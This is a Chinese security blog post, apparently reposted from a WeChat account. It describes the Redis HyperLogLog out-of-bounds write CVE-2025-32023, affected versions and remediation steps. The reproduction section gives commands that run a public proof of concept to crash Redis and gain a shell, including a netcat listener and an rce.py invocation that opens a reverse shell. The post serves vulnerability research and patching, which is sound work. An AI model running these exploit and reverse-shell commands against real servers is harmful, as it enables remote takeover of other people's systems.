Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

admin 2025年7月9日23:40:14评论6 views字数 4774阅读15分54秒阅读模式

1.1.1漏洞概述

Redis 在 HyperLogLog(HLL)数据结构的操作中存在越界写入漏洞。经过身份验证的攻击者可通过构造特定的恶意字符串,在执行 HLL 相关命令(如PFADDPFCOUNTPFMERGE)时触发堆栈或堆内存的越界写入。内存破坏可能被进一步利用,最终导致远程代码执行(RCE),攻击者可在服务器上执行任意系统命令,完全控制服务器、泄露数据或破坏业务系统。

1.1.2漏洞成因

HyperLogLog 稀疏模式转换:Redis 的 HLL 数据结构支持稀疏和稠密两种存储模式。当稀疏模式下的 HLL 数据量超过阈值(默认 3000 字节)时,会自动转换为稠密模式。在此转换过程中,若攻击者构造的恶意数据导致内存分配或复制操作越界,可能触发缓冲区溢出或越界写入。

内存管理缺陷:在 HLL 数据结构的合并(PFMERGE)或计数(PFCOUNT)操作中,未对输入数据的边界进行严格校验,导致攻击者可通过精心构造的字符串覆盖相邻内存区域,破坏程序控制流。

1.影响范围

Redis 8.0.0 <= 8.0.3

Redis 7.2.0 <= 7.2.10

Redis 7.4.0 <= 7.4.5

Redis 6.2.0 <= 6.2.19

2.技术细节

触发条件:攻击者需具备 Redis 用户权限,通过网络远程执行 HLL 相关命令(如PFADD、PFCOUNT、PFMERGE),并构造包含特定长度或格式的恶意字符串。

攻击向量:

  • 越界写入:恶意字符串导致内存分配或复制操作超出缓冲区边界,覆盖关键数据结构(如函数指针、返回地址),从而控制程序执行流。
  • ROP 链构造:攻击者可利用越界写入构造 ROP(Return-Oriented Programming)链,绕过内存保护机制(如 ASLR、NX),执行任意代码。

漏洞利用成熟度:POC/EXP 已公开,攻击者可通过构造恶意 HLL 数据触发漏洞,实现远程代码执行。

3.风险评估

CVSS 评分:9.8(高危,远程代码执行)

权限要求:需要身份验证(用户权限)

触发方式:网络远程,无需用户交互

危害等级:高,可能导致服务器完全控制、数据泄露或业务中断。

1.2漏洞复现

目前可测试poc地址https://github.com/leesh3288/CVE-2025-32023

在实际测试过程中有很多坑,以下是实际复现过程。

1.2.1直接漏洞测试出错

1.下载并执行poc

git clone https://github.com/leesh3288/CVE-2025-32023.git

cd CVE-2025-32023

python3 poc.py

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

2.缺少组件

需要安装pwn工具,安装python3-pwntools

sudo apt install python3-pwntools

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

3.拉取docker

国内地址下载docker直接失败,换用vps或者境外ip直接来去docker到本地。

(1)拉取docker文件到本地

docker pull redis:7.4.2-alpine3.21@sha256:02419de7eddf55aa5bcf49efb74e88fa8d931b4d77c07eff8a6b2144472b6952

(2)提取并保存为redis_image.tar文件

docker save -o redis_image.tar redis:7.4.2-alpine3.21@sha256:02419de7eddf55aa5bcf49efb74e88fa8d931b4d77c07eff8a6b2144472b6952

(3)从本地的 redis_image.tar 文件中加载(导入)Redis 镜像到 Docker 环境中

docker load -i redis_image.tar

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

(4)查看镜像情况

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

(5)运行redis

docker run --rm -p 6379:6379 -it 8f5c54441eb9

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

(6)确认 Redis 服务运行状态

redis-cli -h localhost -p 6379 ping

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

1.2.2测试是否存在漏洞

代码中的poc.py文件为测试是否存在漏洞,python3 poc.py 执行成功后,docker会直接崩溃,表明存在漏洞。直接测试是需要谨慎!!!

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究
Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

1.2.3rce漏洞测试

1.获取 Redis 容器的 ID

本例中为cc7079ae54fc,然后,从容器中复制 redis-server 到当前目录

docker cp cc7079ae54fc:/usr/local/bin/redis-server .

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

2.执行rce利用代码

python3 solver-f0b22e429fa6c984f39a409744ff954d3a45d843edd29428ef3a68085d696a7d.py

即可获取redis本地的shell

Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究
Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

3.探索真实环境的利用

(1)在本地启动监听

 nc -lvp 4444 

(2)执行脚本触发反向 shell 

python3 rce.py 172.17.0.2 -p 6379 --reverse-shell --local-ip 192.168.199.136 --local-port 4444

通过测试代码可以进行漏洞检测和本地shell,但无法直接在公网进行实际测试。

1.3修复建议

1.3.1升级修复

1.官方补丁

Redis 8.0.3 及以上版本:https://github.com/redis/redis/releases/tag/8.0.3

Redis 7.2.10 及以上版本:https://github.com/redis/redis/releases/tag/7.2.10

Redis 7.4.5 及以上版本:https://github.com/redis/redis/releases/tag/7.4.5

Redis 6.2.19 及以上版本:https://github.com/redis/redis/releases/tag/6.2.19

2.升级步骤

(1)备份

  • 单机环境备份

# 方法1:RDB快照(推荐)

redis-cli -h <host> -p <port> -a <password> bgsave  # 后台异步快照

ls -lt /var/lib/redis/dump.rdb  # 确认RDB文件生成(默认路径,需参考redis.conf)

# 方法2:AOF日志(增量备份)

# 确保appendonly=yes(redis.conf)

cp /var/lib/redis/appendonly.aof /backup/appendonly_$(date +%Y%m%d).aof  # 复制AOF文件

# 验证备份完整性

redis-cli --rdb /backup/dump.rdb --test-memory 1024  # 测试RDB文件可加载

  • 集群环境备份(以 3 主 3 从为例)

# 滚动备份每个节点

for port in 6379 6380 6381; do

  redis-cli -p $port -a password bgsave

  rsync -av /var/lib/redis/$port/dump.rdb /backup/redis_cluster/  # 远程同步备份

done

# 集群一致性校验(所有节点RDB时间戳一致)

redis-cli -c -a password cluster nodes | grep -v myself | awk '{print $9}'  # 检查最后一次RDB时间

(2)服务停止

  • 单机停止(推荐)

# 方式1:通过redis-cli(自动触发持久化)

redis-cli -h 172.17.0.2 -p 6379 -a 'secure_pass' shutdown  # 等待约5-10秒

# 方式2:systemd管理(适用于Linux系统服务)

sudo systemctl stop redis  # 查看状态

sudo systemctl status redis | grep Active  # 应显示inactive

  • 集群滚动停止(零中断升级)

# 步骤1:升级从节点(以节点6380为例)

redis-cli -p 6380 -a password shutdown  # 优雅停止从节点

ps aux | grep redis-server  # 确认进程终止(PID消失)

# 步骤2:主节点角色切换(避免停机)

redis-cli -h master_ip -p 6379 -a password cluster failover  # 提升从节点为主节点

redis-cli -c -a password cluster nodes | grep master  # 验证角色切换

# 步骤3:停止旧主节点

redis-cli -p 6379 -a password shutdown

  •  强制停止(仅紧急情况)

# 查找Redis进程(注意区分实例)

ps aux | grep redis-server | awk '{print $2}'  # 获取PID

sudo kill -9 <PID>  # 强制终止(可能导致数据丢失,需配合备份)

(3)补丁安装(分版本操作)

  • 下载官方补丁(以 8.0.3 为例)

# 源码编译(推荐)

wget https://github.com/redis/redis/archive/refs/tags/8.0.3.tar.gz

tar -zxvf 8.0.3.tar.gz && cd redis-8.0.3

make && make install PREFIX=/usr/local/redis-8.0.3  # 自定义安装路径

# RPM/DEB包安装(适合Linux发行版)

# CentOS/RHEL

yum install https://rpms.redis.io/8.0/redis-8.0.3-1.el7.x86_64.rpm

# Ubuntu/Debian

apt-get install redis-server=8.0.3-1  # 需配置Redis官方源

  •  二进制替换(适用于自定义部署)

# 备份旧文件

mv /usr/local/redis/bin/redis-server /usr/local/redis/bin/redis-server_old

mv /usr/local/redis/bin/redis-cli /usr/local/redis/bin/redis-cli_old

# 替换新二进制

cp ./redis-8.0.3/src/redis-server /usr/local/redis/bin/

cp ./redis-8.0.3/src/redis-cli /usr/local/redis/bin/

(4)配置文件适配

# 对比新旧配置(重点检查持久化、端口、ACL)

diff /etc/redis/redis.conf /usr/local/redis-8.0.3/redis.conf.sample

# 关键配置确认(新增安全项)

grep -E 'hll-sparse-max-bytes|active-defrag' /etc/redis/redis.conf  # 确保漏洞修复配置存在

1.3.2.临时缓解措施

1.ACL 限制命令

使用 Redis 访问控制列表(ACL)限制用户执行 HLL 相关命令。例如,禁止普通用户执行PFADD、PFCOUNT、PFMERGE:

# 连接Redis CLI

redis-cli

# 创建受限用户

ACL SETUSER restricted_user on >password +@all -PFADD -PFCOUNT -PFMERGE

# 切换用户

AUTH restricted_user password

2.网络访问控制

通过防火墙限制 Redis 端口(默认 6379)的访问,仅允许受信任的 IP 地址连接。

1.4结束语

       CVE-2025-32023 rce漏洞确实存在,在实际测试过程中需要在本地配置有redis-server二进制文件,才能rce。

原文始发于微信公众号(小兵搞安全):Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日23:40:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究https://cn-sec.com/archives/4235631.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息